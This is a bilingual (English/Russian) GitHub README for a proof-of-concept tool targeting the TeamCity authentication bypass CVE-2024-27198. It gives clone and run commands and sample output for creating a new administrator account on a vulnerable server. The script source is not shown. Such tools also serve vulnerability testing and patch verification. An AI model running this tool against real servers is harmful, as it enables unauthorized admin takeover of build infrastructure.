Skip to content

is a PoC tool that targets a vulnerability in the TeamCity server (CVE-2024-27198)

License

Notifications You must be signed in to change notification settings

geniuszly/CVE-2024-27198

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation

EN

GenTeamCityExploit is a PoC tool that targets a vulnerability in the TeamCity server (CVE-2024-27198). It enables the discovery of a TeamCity version and the creation of a new admin user by exploiting an authentication bypass flaw.

Features

  • Extracts the version of the TeamCity server.
  • Checks for the presence of a known vulnerability (CVE-2024-27198).
  • Creates a new administrator user if the server is vulnerable.

Prerequisites

  • Python 3.6+: Ensure you have Python installed.
  • Libraries: Install the required libraries using:
    pip install requests urllib3

Usage

  1. Clone the repository.
    git clone https://github.com/geniuszly/CVE-2024-27198
  2. Navigate to the directory.
    cd CVE-2024-27198
  3. Run the script with the required parameters.
    python3 GenTeamCityAdminCreator.py -t <target_url> -u <username> -p <password>
    Parameters:
    • -t, --target: The URL of the target TeamCity server.
    • -u, --username: The username for the new admin user.
    • -p, --password: The password for the new admin user.

Example

python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123

Example output

$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123

[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[+] Сервер уязвим! Возвращен HTTP код: 200
[+] Пользователь 'newadmin' создан успешно! Перейдите на http://target-teamcity.com/login.html для входа.

In case the server is not vulnerable or the version is not found:

$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123

[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[-] Сервер, вероятно, неуязвим. Возвращен HTTP код: 403

If there is an error connecting to the server:

$ python3 GenTeamCityAdminCreator.py -t http://nonexistent-url.com -u newadmin -p securepassword123

[-] Ошибка при попытке соединения с сервером: HTTPConnectionPool(host='nonexistent-url.com', port=80): Max retries exceeded with url: /login.html (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ff9e1f07df0>: Failed to establish a new connection: [Errno -2] Name or service not known'))

Disclaimer

This tool is intended for educational purposes only and should not be used on any systems without explicit permission from the owner. Unauthorized access to computer systems is illegal.

RU

GenTeamCityExploit — это PoC-инструмент, нацеленный на уязвимость сервера TeamCity (CVE-2024-27198). Он позволяет обнаружить версию TeamCity и создать нового администратора, используя уязвимость обхода аутентификации.

Возможности

  • Извлекает версию сервера TeamCity.
  • Проверяет наличие известной уязвимости (CVE-2024-27198).
  • Создает нового пользователя-администратора, если сервер уязвим.

Требования

  • Python 3.6+: Убедитесь, что у вас установлен Python.
  • Библиотеки: Установите необходимые библиотеки командой:
    pip install requests urllib3

Использование

  1. Клонируйте репозиторий.
    git clone https://github.com/geniuszly/CVE-2024-27198
  2. Перейдите в папку с проектом.
    cd CVE-2024-27198
  3. Запустите скрипт с обязательными параметрами.
    python3 GenTeamCityAdminCreator.py -t <target_url> -u <username> -p <password>
    Параметры:
    • -t, --target: URL целевого TeamCity сервера.
    • -u, --username: Имя пользователя для нового администратора.
    • -p, --password: Пароль для нового администратора.

Пример

python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123

Пример вывода

$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123

[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[+] Сервер уязвим! Возвращен HTTP код: 200
[+] Пользователь 'newadmin' создан успешно! Перейдите на http://target-teamcity.com/login.html для входа.

В случае, если сервер не уязвим или версия не найдена:

$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123

[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[-] Сервер, вероятно, неуязвим. Возвращен HTTP код: 403

При возникновении ошибки подключения к серверу:

$ python3 GenTeamCityAdminCreator.py -t http://nonexistent-url.com -u newadmin -p securepassword123

[-] Ошибка при попытке соединения с сервером: HTTPConnectionPool(host='nonexistent-url.com', port=80): Max retries exceeded with url: /login.html (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ff9e1f07df0>: Failed to establish a new connection: [Errno -2] Name or service not known'))

Отказ от ответственности

Этот инструмент предназначен исключительно для образовательных целей и не должен использоваться на каких-либо системах без явного разрешения их владельца. Несанкционированный доступ к компьютерным системам является незаконным.

About

is a PoC tool that targets a vulnerability in the TeamCity server (CVE-2024-27198)

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages